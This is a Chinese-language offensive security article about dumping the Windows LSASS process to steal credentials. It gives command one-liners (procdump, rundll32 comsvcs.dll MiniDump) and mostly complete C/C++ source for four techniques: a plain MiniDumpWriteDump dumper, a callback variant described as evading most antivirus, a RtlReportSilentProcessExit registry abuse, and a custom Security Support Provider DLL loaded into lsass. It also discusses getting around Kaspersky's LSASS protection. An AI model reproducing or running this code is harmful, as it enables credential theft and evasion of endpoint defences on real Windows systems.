Lsass Dump

0x01 现成工具

      任务管理器

      procdump:procdump -ma lsass.exe lsass.dmp

      Sharp dump:其核心也是使用MiniDumpWriteDump

      Out-MiniDump:是PowerSploit下的一个转储组件。同理也是使用MiniDumpWriteDump

0x02 本机API或者Dll

      comsvcs.dll:管理员权限下使用rundll32.exe comsvcs.dll MiniDump <lsass PID> <out path> full

      API就是转储最常见的MiniDumpWriteDump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
BOOL ProcessMain(VOID)
{
//是否是管理员权限
if (IsElevated() == FALSE)
{
printf("[!] IsElevated \r\n");
return FALSE;
}
printf("[+] run as Administor \n");
//启动Debug权限
SetDebugPrivilege();
printf("[+] set debug privilege \n");
//获取LSASS进程Pid
DWORD dwPid = GetLsassPid();
printf("[+] get pid of lsass:%d\n", dwPid);
//打开进程获取句柄
HANDLE hProcessOfLsass = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPid);
if (hProcessOfLsass == NULL)
{
printf("[!] OpenProcess \r\n");
return FALSE;
}
printf("[+] get handle of lsass \n");
//获取MiniDumpWriteDump函数地址
pfnMiniDumpWriteDump MiniDumpWriteDump = (pfnMiniDumpWriteDump)GetProcAddress(
LoadLibraryA("Dbghelp.dll"), "MiniDumpWriteDump"); //
if (MiniDumpWriteDump == NULL)
{
printf("[!] get address of mimidumpwritedump \n");
return FALSE;
}
printf("[+] get address of mimidumpwritedump \n");
BOOL bResult = FALSE;
HANDLE hFile = CreateFileW(L"c:\\dmplsass.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
//调用函数创建转储
bResult = MiniDumpWriteDump(hProcessOfLsass, dwPid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (bResult == FALSE)
{
printf("[!] MiniDumpWriteDump \n");
CloseHandle(hFile);
return FALSE;
}
//关闭文件句柄
printf("[+] mini dump write dump \n");
CloseHandle(hFile);
return TRUE;
}

      除了常规的直接使用MiniDumpWriteDump,现在很多C2都使用带有回调功能的MiniDumpWriteDump,因为MiniDumpWriteDump函数原型,函数第7个参数是一个指向MINIDUMP_CALLBACK_INFORMATION结构的指针,包含了回调函数的指针和参数。使用带回调功能的MiniDumpWriteDump并没有改写MiniDumpWriteDump函数,实现起来比较方便,也能过掉国内大多数AV。具体使用如下。

1
2
3
4
5
6
7
8
9
BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
//回调函数
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)buffer + (DWORD_PTR)callbackInput->Io.Offset);
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
int main(void)
{
if (IsElevated() == FALSE)
{
printf("[!] IsElevated \r\n");
exit(0);
}
printf("[+] run as Administor \n");
SetDebugPrivilege();
printf("[+] set debug privilege \n");
DWORD dwPid = GetLsassPid();
printf("[+] get pid of lsass:%d\n", dwPid);
HANDLE hProcessOfLsass = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPid);
if (hProcessOfLsass == NULL)
{
printf("[!] OpenProcess \r\n");
exit(0);
}
printf("[+] get handle of lsass \n");
//初始化MINIDUMP_CALLBACK_INFORMATION
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
pfnMiniDumpWriteDump MiniDumpWriteDump = (pfnMiniDumpWriteDump)GetProcAddress(
LoadLibraryA("Dbghelp.dll"), "MiniDumpWriteDump");
if (MiniDumpWriteDump == NULL)
{
printf("[!] get address of mimidumpwritedump \n");
exit(0);
}
printf("[+] get address of mimidumpwritedump \n");
BOOL bResult = FALSE;
bResult = MiniDumpWriteDump(hProcessOfLsass, dwPid, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
if (bResult == TRUE)
{
printf("[+] mini dump write dump \n");
long int size = bytesRead;
char *securitySth = new char[size];
memcpy(securitySth, buffer, bytesRead);
DWORD bytesWritten = 0;
HANDLE outFile = CreateFileW(L"dmplsass.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (outFile != NULL)
{
printf("[+] create dump file \n");
WriteFile(outFile, securitySth, bytesRead, &bytesWritten, NULL);
CloseHandle(outFile);
}
}
else
{
printf("[!] mimi dump %x\n", GetLastError());
}
return 0;
}

0x03 RtlReportSilentProcessExit静默进程退出

      LSASS Memory Dumps are Stealthier than Ever Before - Part 2

      当进程被终止的时候,它会调用ntdll.dll的RtlReportSilentProcessExit(),然后与Windows 错误报告服务(WerSvcGroup下的WerSvc)通讯,然后WER服务将启动WerFault.exe,它将执行退出进程的转储。有趣的是,调用此API不会导致进程退出

      Silent Process Exit是从windows7中引入的一种机制,该机制在1)自身调用ExitProcess()自行终止,或者2)另一个进程通过TerminateProcess()终止时,为受监控进程触发指定的操作,目前支持的操作有三种:1)启动监控进程 2)显示弹出窗口 3)创建转储文件

      利用Silent Process Exit机制需要设置注册表项目。1)在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<process.exe>GlobalFlag键设置为FLG_MONITOR_SILENT_PROCESS_EXIT (0x200) 2)在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<process.exe>项下设置三个属性

1
2
3
-DumpType 0x02 dump内存的类型
-LocalDumpFolder c:\temp 这是dump后保存的地址
-ReportingMode 0x02 退出执行的操作

      关于HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\<process.exe>项目下三个属性更为详细的介绍如下

1
2
3
4
5
6
ReportingMode (REG_DWORD) 需要执行的操作
* LAUNCH_MONITORPROCESS (0x1) – 启动一个监控进程
* LOCAL_DUMP (0x2) – 为导致终止的进程和被终止的进程创建转储文件
* NOTIFICATION (0x4) – 显示弹出通知
LocalDumpFolder(REG_SZ) 转储文件保存的路径
DumpType(REG_DWORD)转储文件类型

      在静默退出 DUMP LSASS.EXE一文中有详细的代码介绍。在装了卡巴斯基的环境中,因为卡巴对于LSASS Dump的保护机制,第三方进程很难对LSASS进程进行转储,可以考虑利用注入的方式进行转储,或者使用文章中的RemoteCreateThread方法进行转储。但是此时可能又要准备绕过卡巴对于注入的监控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int main()
{
PCWCHAR targetProcName = L"lsass.exe";
DWORD pid = -1;
HMODULE hNtMod = NULL;
fRtlReportSilentProcessExit fnRtlReportSilentProcessExit = NULL;
HANDLE hLsassProc = NULL;
NTSTATUS ntStatus = -1;
if (!EnableDebugPriv()) {
printf(" [!] EnableDebugPriv: %X\n", GetLastError());
return 1;
}
printf("[+] EnableDebugPriv OK\n");
if (!setRelatedRegs(targetProcName)) {
printf("[!] setRelatedRegs: %X\n", GetLastError());
return 1;
}
printf("[+] setRelatedRegs OK\n");
pid = getPidByName(targetProcName);
if (-1 == pid) {
printf("[!] getPidByName: %#X\n", pid);
return 1;
}
printf("+] getPidByName: %X\n", pid);
do
{
hNtMod = GetModuleHandleW(L"ntdll.dll");
if (!hNtMod) {
printf("[!]GetModuleHandleW\n");
break;
}
printf("[+]GetModuleHandleW: %X\n", (DWORD)hNtMod);
fnRtlReportSilentProcessExit = (fRtlReportSilentProcessExit)GetProcAddress(hNtMod, "RtlReportSilentProcessExit");
if (!fnRtlReportSilentProcessExit) {
printf("[!]Get RtlReportSilentProcessExit\n");
break;
}
printf("[+] RtlReportSilentProcessExit地址: %X\n", (DWORD)fnRtlReportSilentProcessExit);
hLsassProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, 0, pid);
if (!hLsassProc) {
printf("[!] OpenProcess: %X\n", GetLastError());
break;
}
printf("[+] OpenProcess: %X\n", (DWORD)hLsassProc);
ntStatus = fnRtlReportSilentProcessExit(hLsassProc, 0);
} while (false);
if (hNtMod)
CloseHandle(hNtMod);
if (fnRtlReportSilentProcessExit)
CloseHandle(fnRtlReportSilentProcessExit);
if (hLsassProc)
CloseHandle(hLsassProc);
if (fnRtlReportSilentProcessExit)
fnRtlReportSilentProcessExit = NULL;
return 0;
}

0x04 LSASS SSP自加载

      SSP,全称Security Support Provider,又名Security Package。针对绕过卡巴斯基的LSASS Dump可以使用SSP+MiniDumpWriteDump的方式。

      Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages一文中提供了如何编写一个可以使用的SSP dll文件。3gstudent在他的Mimikatz中SSP的使用介绍了SSP的基本原理和如何添加SSP的三种方法。

      SSP是一个dll,不同的功能对应不同的导出函数。具体可以参见下面的代码。该代码主要包含5个函数

  • SpInitialize 用于初始化SSP并提供函数指针列表,此处可以直接返回
  • SpShutDown 用于卸载SSP,暂时无法卸载。
  • SpGetInfo 提供有关SSP的信息,包括版本,名称和说明
  • SpAcceptCredentials 可以执行的操作。
  • SpLsaModeInitialize 导出函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
return 0;
}
NTSTATUS NTAPI SpShutDown(void)
{
return 0;
}
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = L"KiwiSSP";
PackageInfo->Comment = L"Kiwi Security Support Provider";
return 0;
}
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
if (flag == FALSE)
ProcessMain(); //可以执行的操作
return 0;
}
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
// SpLsaModeInitialize is called by LSA for each registered Security Package
extern "C" __declspec(dllexport) NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE *ppTables, PULONG pcTables)
{
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecurityPackageFunctionTable;
*pcTables = 1;
return 0;
}

      添加SSP主要有三种方法。

  • 方法一:等待重启

    1
    2
    3
    (1) 将ssp.dll复制到c:\windows\system32
    (2) 修改HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\的Security Packages的值设置为ssp.dll
    (3) 等待系统重新启动
  • 方法二:调用AddSecurityPackage

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    (1)(2)同方法一
    (3)调用AddSecurityPackage
    //测试代码如下
    //#define SECURITY_WIN32
    //#include <stdio.h>
    //#include <Windows.h>
    //#include <Security.h>
    //#pragma comment(lib,"Secur32.lib")
    int main(int argc, char **argv)
    {
    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;
    SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
    return 0;
    }
  • 方法三:使用RPC控制lsass加载SSP:这个方法的优势在于无需有过多敏感的痕迹(写注册表,调用AddSecurityPackage,不需要对lsass进程的内存进行写操作,lasss进程中不存在加载的dll),这个方法是XPN大佬发现的,其开源在他的github中,并在他的博文exploring-mimikatz-part-2/一文中有详细的介绍,其大概意思就是通过逆向分析AddSecurityPackage API函数,发现内部是通过RPC调用实现加载SSP.dll的。

      经过测试使用SSP+MiniDumpWriteDump回调的方式会造成系统卡死,原因,和@seventeen师傅了解了,可能是巨硬家使用SSP并不支持回调。所以我直接使用SSP+MiniDumpWriteDump,并没有采用回调方式可以成功转储。

参考文献

[+] 1. Some ways to dump LSASS.exe

[+] 2. 几种免杀转储lsass进程的技巧

[+] 3. 静默退出 DUMP LSASS.EXE

[+] 4. Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages

[+] 5. Mimikatz中SSP的使用